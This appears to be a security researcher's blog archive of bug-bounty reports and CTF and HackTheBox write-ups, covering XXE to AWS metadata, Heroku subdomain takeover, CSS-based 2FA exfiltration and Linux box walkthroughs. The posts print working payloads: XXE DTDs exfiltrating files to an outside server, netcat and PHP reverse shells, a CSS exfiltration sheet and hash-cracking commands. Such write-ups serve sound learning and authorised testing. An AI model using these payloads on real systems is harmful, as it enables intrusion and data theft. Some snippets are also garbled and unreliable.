XXE to AWS metadata disclosure

I recently found a critical vulnerability on a private program on HackerOne that allowed me to get their Amazon Web Services root keys. Because of this, the vulnerability was rated as a 10.0 critical, the highest possible.

After having been unable to hack for several months due to a family emergency, I finally got home and wanted to get started again. I looked through my private invites for a recently launched program to hack on, and basically picked one at random. It had a rather small scope but I decided to look through it anyway, just to get started again.

I ran the few subdomains through ffuf with my custom wordlist and checked the results. One of the subdomains, which initially just presented a blank page, had an interesting page when I went to //foo; notice the 2 backslashes. Within 10 minutes I had found an XSS here, the URL was reflected in a verbose error page and I got reflected XSS with a payload in the query parameter. It later turned out to be a duplicate though.

A couple days later I returned and wanted to dig a little deeper on this subdomain. On GitHub I found repository with testing credentials and a login payload for this subdomain and decided to test it out. Without this GitHub leak I’d never have known there was a login function here, as it wasn’t presented anywhere. The path was rather obscure and wasn’t picked up by my wordlists.

I was able to login with the test credentials and was given a token that would have allowed me to upload files. Since the POST payload was XML I decided to dig deeper by testing for XXE DTD (XML eXternal Entity Document Type Declaration).

The only place I could call a DTD was in the password field; the username was defined by the URL path. I used a basic POST payload like this:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE passwd [<!ELEMENT passwd ANY>
<!ENTITY xxe SYSTEM "http://webhook.site/foo" >]> 

And was able to get a hit to my webhook instance. With this I knew that DTD was enabled. I also tried querying for a file on the web server, but this didn’t work.

Next step was to try and retrieve an external DTD. I changed http://webhook.site/foo to a dummy self-hosted DTD and observed that the web application fetched this file.

Now I had all that I needed to try and read a file on the web application server and send its contents to my own server. I sent a payload like this:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE passwd [!ENTITY % file SYSTEM "file:///etc/passwd"> [<!ENTITY % xxe SYSTEM "http://myserver.com/pwn.dtd"> %xxe; ]> 

And the following self-hosted DTD as pwn.dtd:

<!ENTITY % all "<!ENTITY send SYSTEM 'http://myserver.com/?data=%file;'>"> %all;

However it didn’t work as expected. While the web application did fetch my DTD I never got the subsequent request to ?data, but rather an error message in the app. Turns out the special characters in /etc/passwd broke the GET request.

Checking my own Linux system for singleline files with no special characters, I came upon /etc/hostname. Susbstituting /etc/passwd for this file in my payload, I was able to read its contents! I still wasn’t happy with the impact though but wanted to be able to read any file on the system, so I tried exfiltrating through FTP and of course directly in the application response. None of this worked though, so I reported the vulnerability to HackerOne as a high impact XXE DTD Local File Inclusion (LFI).

Next day I kept speculating about the vulnerability. I wasn’t happy with the impact and wanted to try and find some way to exfiltrate arbitrary files. The HackerOne triager assigned to my report wanted me to try and exfiltrate another file too, though they were fine with it being a single-line file.

I talked to Dee-see (great hacker!) and he sent me a link to a technique using the jar: protocol to extract files:

Adapting the DTD file from the above link I again tried exfiltrating /etc/passwd:

<!ENTITY % all "<!ENTITY send SYSTEM 'jar:%file;/myserver.com!/'>"> %all;

And it actually worked! Not as an out-of-bound LFI though, I was able to read the whole /etc/passwd right in the server response! I reported this to HackerOne and they triaged my report as high. For a little more information on the jar: protocol, see this. It is actually used to read files inside a .zip or .jar file. Somehow though it broke the web application and allowed me to read the contents of any file.

I still wasn’t completely satisfied with my report though, I kept thinking I might be able to elevate this to a critical. I tried scanning the server for open ports thinking maybe I could get the SSH keys and log in, but only ports 80 and 443 were open. I then asked HackerOne for permission to dig around the server to try and escalate, and they agreed.

By just supplying file:/// in the file entity I was able to read the contents of a directory, but I couldn’t read /proc/self/environ which might have stored the AWS metadata; again some special character broke the flow, even using jar:. I then thought about turning the LFI into an SSRF (Server Side Request Forgery) and query the typical AWS metadata endpoint
Of course I didn’t know the user_role but by going to
the web application was kind enough to disclose them to me in an error message!

I reported this to the program on HackerOne and they changed the severity to a 10.0 crit. I was later awarded a 2000$ bounty, my highest yet!

What did I learn from this? Always try to dig deeper, don’t be content with reporting something unless you’ve tried everything to escalate the severity. And of course, if in doubt, ask for permission. I did not like poking through a company’s production server without explicit permission, but they were understanding and gave me permission to proceed as long as I did so with without altering or accessing sensitive data.

Unfortunately I can’t disclose the name of the company nor my report, but if they ever go public I’ll ask for disclosure from them.

Subdomain Takeovers: Heroku

Heroku subdomain takeovers are possible for herokuapp.com CNAMEs, and can be identified by the ‘No such app’ page:

And a CNAME in dig that points to .herokuapp.com:

subexample.example.com. 3600 IN      CNAME   subexample.herokuapp.com.

This is an indication that the company has a dangling CNAME record pointing to an unclaimed Heroku app which we might be able to take over.

To manually create the Heroku app go to your Heroku dashboard and click ‘Create new app’. For the name you want to use the CNAME found in dig without the .herokuapp.com part, like this (going with the above example):

If it says ‘subexample is available’ like above, great, you can take it over! However if it’s already registered by someone else, it’ll say ‘subexample is not available’ and there’s not much you can do.

If you were able to claim the app name, create the app and go to Settings and scroll down to Domains. Here we want to put in the subdomain we are taking over by clicking ‘Add domain’ and pasting the company’s whole subdomain name from above:

Now all you need to do is upload your takeover Proof of Concept to your new Heroku app. The easiest way to do this is via the Heroku client which you can run in the Linux terminal. Create your PoC in a new folder and then run these commands:

cd pathtoyourpoc/
heroku login
git init
git add .
git commit -m 'Takeover PoC'
heroku git:remote -a subexample
git push heroku master

All of the above procedure is very easy to automate by using the Heroku API (documentation).

How to find your first bug

I often get asked ‘how do I find my first bug’ on the Hacker101 Discord channel. This article is an answer to that question.
At this point I assume you’ve been studying the basics of ethical hacking. If you have no background in IT I would recommend reading “The Web Application Hacker’s Handbook”; though those with prior IT experience might choose to skip that and jump directly to the Web Security Academy. This is the go-to educational material for people new to ethical hacking.

But how to actually find your first bug? Which program should you hack on, and what kind of bugs should you focus on? Many say you should hack on private programs where there’s less competition, but in order to actually get invited to private programs you’ll often need a few valid bugs first.

I’d recommend a big program with lots of subdomains as your first program. On HackerOne this would be the US Department of Defense (DoD). This program has more than a million subdomains. A similar program on BugCrowd is Comcast.

For a program of this size it is important to do good recon. You’ll want to find which of the million+ servers are online, and what they’re running.

Recon can roughly be broken down into 4 steps:
1) Find subdomains
2) Check which are alive
3) Check what they’re running
4) Check for vulnerabilities

For the fist step you can use findomain and amass. Findomain is great for quickly getting a list of subdomains, and amass is used for brute forcing even more subdomains. It is important to run those tools regularly as new subdomains are often created.

Next use httprobe to check your list of subdomains and see which are alive. As with the above tools, you should run this regularly. I run it weekly and usually get 20-50 new subdomains that just came alive. As you can imagine, if you’re the first hacker to check these chances are great that you’ll find a bug.

To find out what’s running on these servers you can use ffuf and a good wordlist. A wordlist is something personal that includes paths to vulnerabilities you’ve previously exploited. As a beginner you can base your wordlist on raft from Seclists, as well as wordlists shared by other hackers. In time, you’ll be able to create your own wordlist.

Another very useful tool that I’ve started to use is nuclei. This is a scanner that can be used to identify running services and even find vulnerabilities directly. I’d recommend you to get familiar with it, as it is very powerful.

So now that you have a huge list of servers and know what they’re running, how should you proceed? What kind of bug should you look for? Common wisdom is to look for the 3 ‘easy’ bug types: XSS, IDOR and Business Logic. However, on a program the size of DoD and Comcast I don’t believe this is the way forward for a complete beginner; it is too easy to get lost in the huge amount of subdomains and not spend enough time on one subdomain to find those kinds of bugs. In my opinion, a more ‘top down’ approach is better.

By ‘top down’ I mean look for the low hanging fruit using the tools you’re already using. Look for exposed phpinfo files and server-status, see if there’s a forgotten .git repo that includes admin credentials. I’ve personally found and reported all these mentioned bugs, and they took maybe 15 minutes to find.
This approach works on these programs because they are so big that there’ll always be easy bugs to find. Since they don’t pay bounties more experienced hackers usually don’t waste their time on them; they’re practically a beginner’s playground.

An even more fruitful approach is to go for CVEs. CVE stands for Common Vulnerabilities and Exposures and is basically a known vulnerability that affects a large subset of systems. Some of those are incredibly easy to exploit, and if you look for them early (usually within a few days of publication) it’s possible to find a good number of vulnerable systems. The recently released CVE-2020-3187 is a good example: an exploit was released for it in July and vulnerability could be proved just by fetching to paths. I’d recommend you to keep an eye on Twitter where exploits are often published.

Let’s say you’ve discovered an exploit for a brand new CVE on Jira systems. How do you quickly find which servers are vulnerable? This is where your prior recon work pays off, as by now you should have a database of subdomains and what is running on them, thanks to ffuf and nuclei. So all you have to do it grep for Jira or a common Jira path in your recon files, check if it’s vulnerable and write a report.

In time you’ll want to automate most of this. I’ve made a simple recon automation framework using bash here that I run once a week. It alerts me when new subdomains come alive and does a basic nuclei scan on them, looking for low hanging bugs. In the few months I’ve used it it has helped me find several valid bugs.

Hopefully this article will help you find your first few bugs that’ll lead you to some private invites. Good luck!

H1-2006 CTF Write-up

HackerOne recently held a CTF with the objective to hack a fictitious bounty payout application. While my write-up of this CTF is now public and can be seen here, this is a different kind of write-up where I will be more open and go into the areas where I had a lot of trouble. I’m still quite a newbie at hacking, and the CTF presented many problems for me.

Part One: Web

The only information we got for the CTF was the scope:

This is no different from hunting on a bug program, so I did the usual and fired up findomain and found all the subdomains:


I then used ffuf to look for interesting subdirectories and files on all the subdomains and found this: https://app.bountypay.h1ctf.com/.git
A git repository was hidden on the app subdomain, and I queried the usual files included in a git repo: HEAD and config.
Config pointed to the ‘real’ repository on GitHub where I found an interesting file mentioning a server log named bp_web_trace.log. Going to this log gave me a base64 hashed string that decoded to this:


As can be seen, these are server entry logs for a user logging in, and include username (brian.oliver), password (V7h0inzX) and a challenge answer (bD83Jk27dQ).

Using these credentials I logged in to app.bountypay.h1ctf.com and used the challenge answer to try and bypass the 2-factor authentication (2FA). It didn’t work though. Either this answer had expired or just wasn’t valid.
Looking in the source code for the 2FA page I found a challenge_value, a 32 character long string that looked a lot like an MD5 hash. I put this in hashcat to try and bruteforce it, but got no result. Thinking about it a little more, I wondered if the challenge_value was the MD5 sum of the challenge_answer from above, but no, that didn’t work either. I then tried replacing the challenge_value with the MD5 sum of the answer I had and sent this instead of the original challenge_value, hoping the server didn’t remember which challenge it sent. It worked! I had bypassed the 2FA.

I was now presented with the BountyPay Dashboard where I could load transactions, however all the entries were empty. Looking at the requests made I saw it queried the API subdomain, but trying to query that directly got “Missing or invalid token”. So everything had to go through the dashboard where I was authenticated.

An example reply from a Dashboard request

I started playing with the cookie which was a base64 encoded JSON string:


Notice how the account_id is also reflected in the API url in the screenshot above. After trying SQL injection in this value I tried a simple Path Traversal Ae8iJLkn9z../Ae8iJLkn9z – with this the API path stayed the same, indicating a possible Path Traversal vulnerability.
I tried getting ../../../../../etc/passwd but that didn’t work. Experimenting a bit more I understood that I could only query files within the web root, not outside. Getting ../../../index.html worked. Going back to the landing page of https://api.bountypay.h1ctf.com I looked again at the redirect function there.
When first I started the CTF I had tried redirecting to different pages and noticed that only www.google.com and *.bountypay.h1.ctf.com were allowed. One of those, software.bountypay.h1ctf.com, presented a 401 Unauthorized message if I visited it:

Thinking that since this page was blocked from remote IPs, maybe I could access it via the Path Traversal I just found: effectively an SSRF:


Notice how I had to include a hashtag (#) after the URL. At first the redirect didn’t work, I just got 404 Not Found. Then I noticed how the API URL included /statements?month=01&year=2020 which I needed to get rid of. The hashtag does that since the server will ignore everything after it.

I now had access to the software subdomain and was presented with a login form. This required a POST request which I couldn’t really think of any way to accomplish via SSRF. Sending a GET request with credentials didn’t work, so I got stuck here. After a pause and a walk I decided to try and fuzz the subdomain and wrote this quick script to do it (I later learned Burp Intruder could have done it for me using Payload Processing):

import requests
import base64
import urllib3


url = 'https://app.bountypay.h1ctf.com/statements?month=01&year=2020'
proxies = {"https":""}
wordlist = "wordlist.txt"
fd = open(wordlist, "r")
endpoints = fd.readlines()

# create cookie
for endpoint in endpoints: 
    endpoint = endpoint.rstrip()
    cookie = '{"account_id":"F8gHiqSdpK/../../../redirect?url=https://software.bountypay.h1ctf.com/' + endpoint + '#","hash":"de235bffd23df6995ad4e0930baac1a2"}'
    encodedCookie = base64.b64encode(cookie.encode("utf-8"))
    cookies = {"token":encodedCookie.decode("utf-8")}
    # Send request
    r = requests.get(url, cookies=cookies, proxies=proxies, verify=False)
    # Filter responses
    if not "404 Not Found" in r.text:
        print(endpoint + " did not return 404!")

Within a few minutes I had found the endpoint uploads/ and I could now grab the BountyPay.apk file:

Part Two: Mobile

Mobile hacking is something I always tell myself I want to learn, but never have time to do. While I have written a few small mobile applications using Android Studio this is pretty much the extent of my knowledge, so this next part was not easy for me.
To start with, a recent update to my Gentoo Linux desktop had broken the Android Studio virtual device manager, so I had to sort that out first. This took me a few hours but I was finally able to run the BountyPay application. In the meantime I decompiled the code using jadx-gui and took a look at the main functions. I learned that the application was separated into 3 ‘activities’ that required different actions (URLs) to accomplish.
I tried calling these functions directly in the Virtual Device using Intents, but didn’t have any success – most likely because I don’t know how.
I Googled around and found a few instructions on how to control an Android application directly using adb, something I have used a couple times in the past to either root or unbrick a device.
With a little more Googling (actually I use DuckDuckGo…) I learned that using am start I could run the Intents I was trying to get to work.
With a little help from a fellow hacker I was able to complete the first activity using:

am start -a android.intent.action.VIEW -d "one://part?start=PartTwoActivity"

I then looked at the decompiled code for how to pass the next activity and contructed a query to launch it.

String firstParam = data.getQueryParameter("two");
String secondParam = data.getQueryParameter("switch");
if (firstParam != null && firstParam.equals("light") &&
secondParam != null && secondParam.equals("on"))
am start -a android.intent.action.VIEW -d "two://part?two=light&switch=on"

The last activity required 3 parameters, two of which should be base64 encoded:

        if (getIntent() != null && getIntent().getData() != null) {
            Uri data = getIntent().getData();
            String firstParam = data.getQueryParameter("three");
            String secondParam = data.getQueryParameter("switch");
            String thirdParam = data.getQueryParameter("header");
            byte[] decodeFirstParam = Base64.decode(firstParam, 0);
            byte[] decodeSecondParam = Base64.decode(secondParam, 0);
            final String decodedFirstParam = new String(decodeFirstParam, StandardCharsets.UTF_8);
            final String decodedSecondParam = new String(decodeSecondParam, StandardCharsets.UTF_8);
            C04185 r17 = r0;
            DatabaseReference databaseReference = this.childRefThree;
            byte[] bArr = decodeSecondParam;
            final String str = firstParam;
            byte[] bArr2 = decodeFirstParam;
            final String str2 = secondParam;
            String str3 = secondParam;
            final String secondParam2 = thirdParam;
            String str4 = firstParam;
            final EditText editText2 = editText;
            Uri uri = data;
            final Button button2 = button;
            C04185 r0 = new ValueEventListener() {
                public void onDataChange(DataSnapshot dataSnapshot) {
                    String str;
                    String value = (String) dataSnapshot.getValue();
                    if (str != null && decodedFirstParam.equals("PartThreeActivity") && str2 != null && decodedSecondParam.equals("on") && (str = secondParam2) != null) {
                        if (str.equals("X-" + value)) {

I had a lot of trouble with this step. First, the value of the header was hard to identify in the code. I tried several before hitting upon the correct one, ‘Token’. Second, I was unsure what to do with the equal signs in the base64 string. If I omitted them, the string wasn’t accepted. If I left them in, the application either crashed or went back to the second activity, but this wasn’t very reliable. URL-encoding the equal signs worked however and I was able to complete the third activity.

am start -a android.intent.action.VIEW -d

Now I noticed in the attached logger (Android Studio attaches one by default) that the application printed an X-Token. The application asked me to verify it and I pasted it in and was presented with a ‘Congrats Activity’. Mobile challenge completed!

Part Three: Privesc

With the above X-Token I now had full access to api.bounty-h1ctf.com and could query the API. The /api/staff endpoint listed all the current staff, and I found out that by POSTing to this endpoint gave this error message :
409 Conflict “Staff Member already has an account”
I needed a new staff ID to create a new member, but didn’t have any luck brute forcing this value. Luckily HackerOne had posted an official hint on Twitter that showed the ID badge of a new hire, including a staff ID. I was able to create a new member with this ID and now had access to the staff portal.

The staff portal was a relatively simple application with little functionality, so it didn’t take long to go through it. After some time I found these 4 interesting vulnerabilities / hints:

  • The JavaScript file website.js referred to 2 interesting functions: upgradeToAdmin and a report URL, plus #tab{1,4} which were queried in the location hash.
  • Using the parameter username I could populate the login screen like this: https://staff.bountypay.h1ctf.com/?template=login&username=sandra.allison
  • Using arrays, I was able to chain templates together in the same site like this: https://staff.bountypay.h1ctf.com/?template[]=login&template[]=ticket&ticket_id=3582
  • There was an injection in the upgrade avatar functionality, but any non-alphanumerics were stripped away.

And this is where I got stuck. I tried SSRF in the report URL function but couldn’t get it to work. I also tried using the text injection in the avatar to get XSS, but without using special characters this was pretty much impossible. I didn’t see any way forward.

Instead of working on this alone I did the most important thing a hacker can do: collaborated. With the help of others I was able to put the above 4 things together and get a working exploit. One of the steps was completely new to me, and I still don’t understand it completely: definitely a technique I have to study more.

Turns out there exists something called “Event Bubbling”, where by passing one JavaScript event together with another associated function, causes them both to execute. In our case, if I could chain the tab1 function together with upgradeToAdmin, this second function would also execute.
Tab1 could be executed from the location.hash so I needed to specify this in the URL and then pass it to an admin so they could execute the upgradeToAdmin function. This function needed a username, but I already knew how to parse that with a parameter in the login template.
The avatar where I’d include the tab1 and upgradeToAdmin only showed on the ticket template page with a valid ticket_id, so I needed all these templates chained together:
This URL had everything needed and I just had to send it to the admin via the report URL function.

I reported the URL and then reloaded the staff portal. I noticed that a new tab had appeared called ‘admin’ – my exploit had worked, and I now had admin privileges!
Going the the admin page I found login credentials for Mårten Mickos, the CEO of HackerOne.

Part Four: 2FA Again

Mårten’s login credentials worked on app.bountypay.h1ctf.com, which again required me to bypass the same MD5 2FA challenge as before.
I was now able to see a transaction on the dashboard, apparently this was the bounties that had yet to be paid, totalling 210.300$.

Clicking ‘Pay’ lead to yet another 2FA which appeared to be the same as before so I again pasted the MD5 hash I had already used twice and expected to pass the 2FA. But of course it wouldn’t be so easy (it never is!).
Inspecting the 2FA I saw that loading the challenge made the browser send a POST request with a link to a CSS file via the app_style parameter.

Whenever a request includes a full link to a resource from another domain, this is a good sign of a vulnerability since an attacker can control this request. Pointing the app_style value to a webhook request worked and I could see the traffic from the BountyPay app.

Next step was to host a malicious CSS file on a server I control. However I discovered that the app would only contact secure HTTP domains, and my home server is not HTTPS. I needed another server with a valid certificate, and the only one I had was the one you’re reading this one. I probably broke several points of the TOS by temporarily hosting a CSS here…

To check that my hosted CSS worked I copied the default one and changed the background colour. However I didn’t see any change on the next page, so this was not where the CSS was used. This confused me, because where else would the CSS be used if not client-side? Again my collaborators helped me seeing the light and hinted that this was used server-side where the 2FA answers would be seen. They guided me to this blog post which explains how to do a CSS exfiltration attack.

The attack works like this: I already knew that the 2FA code would be up to 7 characters long (the 2FA only allowed for 7 characters to be input), and I worked on the assumption that these characters would be shown server-side where my CSS file was included. I didn’t know if the code was only letters, numbers, symbols or a combination of all.
So I queried each letter successively for each character of the 2FA code box. If the queried letter was the same as in the box, the CSS fetched a background-image from a server under my control (luckily I could use non-secure HTTP here). If not, it would proceed to the next letter.

On the first run I saw 5-6 characters randomly in my server log. So there were two further issues to solve: apparently some traffic got lost (or maybe some codes were only 5-6 characters long?), and I needed to be able to identify the sequence of the characters in the code. AABBAAA is not the same as BAAAAAB. I solved the first problem by running the attack several times until I had all 7 characters, and the second problem by appending a parameter to the background image URL.

I now had a working CSS attack (only the first few lines are shown, the full script is almost 500 lines long):

input[value=A]:nth-of-type(1) { background-image: url("http://almadjus.duckdns.org/data?1=A"); }
input[value=B]:nth-of-type(1) { background-image: url("http://almadjus.duckdns.org/data?1=B"); }
input[value=C]:nth-of-type(1) { background-image: url("http://almadjus.duckdns.org/data?1=C"); }
input[value=D]:nth-of-type(1) { background-image: url("http://almadjus.duckdns.org/data?1=D"); }
input[value=E]:nth-of-type(1) { background-image: url("http://almadjus.duckdns.org/data?1=E"); }
input[value=F]:nth-of-type(1) { background-image: url("http://almadjus.duckdns.org/data?1=F"); }

After a couple runs my server log had this:

The characters are out of order by easy to identify by the /data?n= parameter

Sending pBxUwRP as the 2FA answer was accepted and I had solved the CTF!

Final Words

The biggest thing I (once again) learned from this CTF is this: collaboration is the most important thing in hacking! One hacker can do much, but several working together can do wonders.
I want to once again thank @pirateducky, @simone_bovi, @fersingb and @GameritedYT for their invaluable help – together we hit harder!

HackTheBox Traverxec

Traverxec is rated as an easy box on HackTheBox.


As with all HackTheBox machines I started with an nmap scan which identified port 80 was open and running nostromo 1.9.6, a simple HTTP server also called nhttpd.

While searching for some information on nostromo, pretty much the first search result was about a known vulnerability. I quickly found an exploit for it here. The exploit is basically a directory traversal vulnerability with remote command execution, hence the box name Traverxec.
The exploit makes a POST request for /bin/sh, which is then used to execute arbitrary commands.

Using the above exploit script I poked around the box and found an .htpasswd file in the nostromo server directory:

./exploit.sh 80 cat /var/nostromo/conf/.htpasswd

Copying the hash from that file I cracked it with hashcat on my host machine:

hashcat --opencl-platforms=1 --username -m 500 -a 0 -w 3 hash /usr/share/wordlists/rockyou.txt

I now had the first pair of credentials:


Hoping those were the credentials to login via SSH I tried doing that, but no. Apparently they were for something else so I went back to poking in the box.

At this point it started to get a little cumbersome to use the above exploit script for every command, so I used it to make a reverse Netcat shell to my machine:

./exploit.sh 80 nc -e /bin/sh 9001

For the next part I had to look closely at the nhttpd file where I found the .htpasswd in the beginning. This file was configured to serve the home directory of david as well as the directory public_www. While I was able to visit there was nothing interesting there, and the permissions of /home/david did not allow for reading files. Something was amiss though, as I had execute rights on that folder, so I could cd into it but not run ls on it. After looking at the usual files (.bashrc etc) in that folder, I tried going to /home/david/public_www. This worked, and I was able to use ls here and find a backup file. This backup file contained a private SSH keyfile which I transferred to my host machine and cracked with john.
Finally I had a pair of credentials to SSH into the machine and grab the user.txt.


In the home dir I found a folder called /bin which contained this file: ./server-status.sh
Running it showed some information of the processes running on the box, and looking at the last line of the script revealed that the last command was run with sudo.
Looking up the command (journalctl) on GTFObin revealed how one could escape the current environment and get a shell with !/bin/sh. This did not work from within the script, but running the last part of the script manually from terminal worked (omitting the pipe into cat ¦ /usr/bin/cat) and I had a root shell due to the use of password-less sudo for the journalctl command.
With this I could read root.txt and the box was pwned.

Nahamsec CTF write-up

Nahamsec recently created a CTF when he reached 30k Twitter followers. The only information he gave was here, so there wasn’t really much to go on. This is my write-up; I decided to send my write-up like a bug report. This style of course does not tell the time wasted looking in all the wrong spots, like doing steganography on the JPEG in the above link, or digging on all the wrong server/endpoints.


Hello ,
I’ve found a sensitive information disclosure in the API running on http://api-admin.nahamsec.net. Using leaked credentials I was able to access the secret ‘flag’ variable which is obviously a huge risk.

Steps to reproduce

1) Go to https://censys.io/certificates and search for nahamsec.net’ which shows the following certificate: https://censys.io/certificates/2e693fc043379439aeadcce1a9ace91f70e707de616f434215c2010252315098
Notice how it’s valid for the subdomain 30kftw.nahamsec.com

2) Go to http://30kftw.nahamsec.net/ (not https!). The admin area is only allowed from the intranet, but this is easily bypassed by using the X-Forwarded-For header with the correct endpoint, like this:

GET /admin/ HTTP/1.1
Host: 30kftw.nahamsec.net

Which gives the following reply:
‘Oh!, looks like we have moved our api services to api-admin.nahamsec.net’

3) Go http://api-admin.nahamsec.net which returns 404 Not Found.

4) Go to https://github.com/garagosy/nahamsecCTF2020/blob/master/api.py
There are 2 issues here: First, the api.py leaks full credentials, and second, going to the past commit #4a0dc54 leaks the path: doc=’/swagger’. Note down both.

5) Go back to http://api-admin.nahamsec.net/swagger (the path from step 4). We now have access to the top secret Get_Flag API.
Initially both API endpoints return 500 Internal Server Error, but /api/getflag also accepts GET requests, which return Unauthorized Access with this header:
WWW-Authenticate: Basic realm=”Authentication Required”
Meaning the endpoint expects HTTP authentication.

Make the following Curl request to the API endpoint from step 5 (with the credentials from step 4):

curl -u BugHunters:4dawin -X GET "http://api-admin.nahamsec.net/api/getflag" -H  
"accept: application/json"


{  "Flag_is": "You are such a guru!, send this to winner@nahamsec.dev" 


Exposure of the secret Flag variable which can spell untold disaster for your company.


1) http://30kftw.nahamsec.net/admin/ should not allow bypassing via the X-Forwarded-For header.
2) Remove credentials and path leak at https://github.com/garagosy/nahamsecCTF2020/

HackTheBox Bitlab

Bitlab is rated as a medium box on HackTheBox.


As is usual with HackTheBox, I started with an nmap scan and discovered ports 22 and 80 open. Going to the web server on port 80 and looking around, I found an interesting link under ‘help’ that wouldn’t open. Turned out the link was this JavaScript snippet:


Cleaning up the code a little and changing the hex to ASCII, I got this:

javascript:(function(){ var __0x4b18="value","user_login","getElementById","clave","user_password",11des0081x";document[_0x4b18[2][_0x4b18[0]]= _0x4b18[5]; })()

Giving me a username and password, supposedly for the bitlab site I was on.
Login in with these credentials worked and I was able to access 2 different gitlab repositories, one of which allowed me to upload files.
Since the server was running php I tried uploading a simple php reverse shell:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ 0>&1'"); ?>

And of course starting a netcat listener on that port.

Now the problem was where to find this file and execute it, and I wasted a long time on this step. Finally I thought to look under ‘/profile’ which seemed different than the rest of the site, and finally found my script and was able to execute it.
With this I now had a shell on the machine as ‘www-data’.

As often happens with HackTheBox machines I couldn’t really do that much with the initial shell and needed to escalate to another user. Apart from root there was only one other user on the box, called ‘clave’, but after spending a long time enumerating the box I didn’t find any obvious way to escalate.

I did notice that www-data was allowed to run ‘/usr/bin/git pull’ as sudo, and I spent considerable time trying to abuse this, with no success.

Going back to the web server I did some more enumeration to see if I’d missed something. I found a code snippet on the server with a postgresql connection command including database username and password. Expanding upon this code snippet I wrote some php code to extract information from the database:

    $db_connection = pg_connect("host=localhost dbname=profiles       
        user=profiles password=profiles");
    $result = pg_query($db_connection, "SELECT * FROM profiles");
    while ($row = pg_fetch_row($result)) {
        echo "$row[0] - $row[1] - $row[2]";

Running this code the same way as for the initial shell, I succeeded in extracting a username and password from the database itself:

I first base64 decoded the hash which resulted in this: ‘ssh-str0ng-p@ss’ thinking that was the password, but it didn’t work. Trying the password without decoding however did work, so I guess that was a way for the box maker to troll us.

Using ssh to log into the box as clave, I was able to get user.txt.


After logging in as clave, I immediately noticed a Windows binary in the home folder. I downloaded this to my machine with scp:

scp clave@ ./

After spending way too much time trying to run and reverse engineer the binary using a Windows 7 virtual machine I gave up and used wine with Kali instead.
Using ollydbg, a free binary debugger, I set breakpoints on the functions with these notes:
UNICODE “clave”
Then, stepping through the program, at the second breakpoint I looked at the EAX register which contained a command to ssh with a password.

Using this password I could ssh into the box as root and get root.txt.

From 0 to Bug Hunter – My Journey

Seeing as I recently got my first bug report resolved and was even rewarded a bounty for it, I thought I’d tell how I got started on bug bounty hunting. Hopefully my story can serve as inspiration for other newcomers, and show that it is very much possible to become a bug bounty hunter these days, even without a background in IT.

About 3 years ago (beginning of 2017) I started learning programming after being given the book Python Crash Course. Before that, programming seemed like black magic to me (yes, I was a noob!) even though I’d been using Linux for 10+ years and was very comfortable with the command line and editing scripts. I have no background in IT; my career is in aviation.

After becoming proficient with Python and even writing a few simple arcade games, I started learning the basics of a few other languages: Java, C++ and ARM Assembly. Not enough to be proficient, but enough to read and understand simple programs written by others. I even developed a couple very simple Android applications for myself.

It was at this point that I got interesting in ethical hacking and got the book The Basics of Hacking and Penetration Testing. Looking back, this book is VERY basic but at that point it seemed incredibly 1337 to me. Around the same time I started reading news articles about bug bounty hunters earning good money hacking the web. I started thinking ‘can I learn this too?’ My conclusion was, maybe in 10 years. There was just so much knowledge to accumulate and I doubted if I could learn this stuff by myself. The way I saw it, to be a hacker I needed 10+ years of experience in the IT field.

Nonetheless I got more serious about it and decided to give it a try. Not to earn money but because I really like learning new stuff, especially about computers and technology. In April 2018 I started reading “The Web Application Hacker’s Handbook”, considered the ‘Bible of hacking’. That book presented so much stuff that was totally new to me, but reading it slowly chapter by chapter and practising what I read about using the Damn Vulnerable Web Application (DVWA) it began to make sense to me. After having taken the DVWA apart I hacked on the OWASP WebWolf which introduced me to more advanced concepts.

It was at this time that HackerOne created their first CTF on hacker101. Signing up, I started solving the levels but got stuck on the medium/hard levels. I’m not going to lie, I tried googling for hints, even solutions, but luckily instead of spoiling it for me, I came across a Discord channel created by the hacker Nemesis. Signing up, I was helped by other users to solve the levels I was stuck with and was encouraged to try the hardest levels too. Finally I had found like-minded people and no longer had to study all by myself! I think this was the most important development in my hacking journey, and I owe a lot to my fellow H101 discorders.

One thing led to another, and suddenly I was a moderator on the hacker101 Discord channel. In February of 2019 I subscribed to Pentesterlab and did about 70% of the exercises there, which incremented my knowledge enormously. Then, around spring 2019 I took my first tentative steps at hunting bugs on a live target, hacking on a couple private programs.

I found nothing. Spending hours and trying all the techniques I’d learned in the past year lead me nowhere. Obviously I needed to get better. Especially I felt I needed to know the impact of the different security vulnerabilities; having never been a malicious hacker (nor will I ever be!), I didn’t really think about the impact of, say, an XSS. Sure, I could pop up an alert box, but what could that really lead to?

HackTheBox was my saviour here. By legally hacking on a server to get root access helped me understand the impact, which was an eye-opener for me. Now I understood why these different vulnerabilities are so devastating to companies world-wide, and how for example a local file inclusion (LFI) can potentially lead to a complete server takeover.

I spent about 2 months doing HackTheBox exclusively. At this point it was summer and too hot to do much (37C daily), so I took a pause. Then in September I started bug hunting again, but this time for real. I was at vacation at that time and so had plenty of time to hack. I choose AT&T as my first target mostly because they had a large scope which I hoped would allow me to find a web server no-one had hacked on yet.

Within about a week I suddenly found my first bug! I nervously reported it, and after some back and forth with the triager it got triaged. Yes! Finally I could call myself a bug hunter! I unfortunately can’t disclose the bug type since it has yet to be resolved at the time of writing this.
Within a couple of days more I found my next bug, an XSS (Cross-Site Scripting). Sadly this was a duplicate, but that did not deter me. Less than a week after that I found my third bug, another XSS. This was also the bug that got me my first bounty.

As of writing this I’ve reported more than 10 bugs, most of them to the US Department of Defence. I’ve also been doing some paid security checks which are a great way to perfect my report writing.

The morale of this story is: anyone with the will to study and learn can become a bug bounty hunter. You don’t need to be an experienced programmer. I had been programming amateurishly for little more than one year before I started learning hacking. As long as you keep your expectations realistic and are prepared to study, study and study, you can do it!

Also, come join us on the Hacker101 Discord server. That place helped me so much in my learning, and I hope to return that favour to new people.

HackTheBox Heist

Heist is an easy Windows box on HackTheBox, however since I have very little experience with Windows, I found it rather difficult.


The usual nmap scan reveals the following ports are open:

Port 80 presents a login page and a forgotten password link (/issues.php), which actually goes to a forum post with an attached file containing 3 hashed passwords. These can be cracked with hashcat or for the Type 7 hashes, with this page: http://ibeast.com/tools/CiscoPassword/index.asp

Two usernames can also be found in the above config file, and a third can be found on the forum page (Hazard). Using lookupsid.py from Impacket and trying all combinations of logins gets us a few more usernames on the box.

lookupsid.py hazard:stealth1agent@

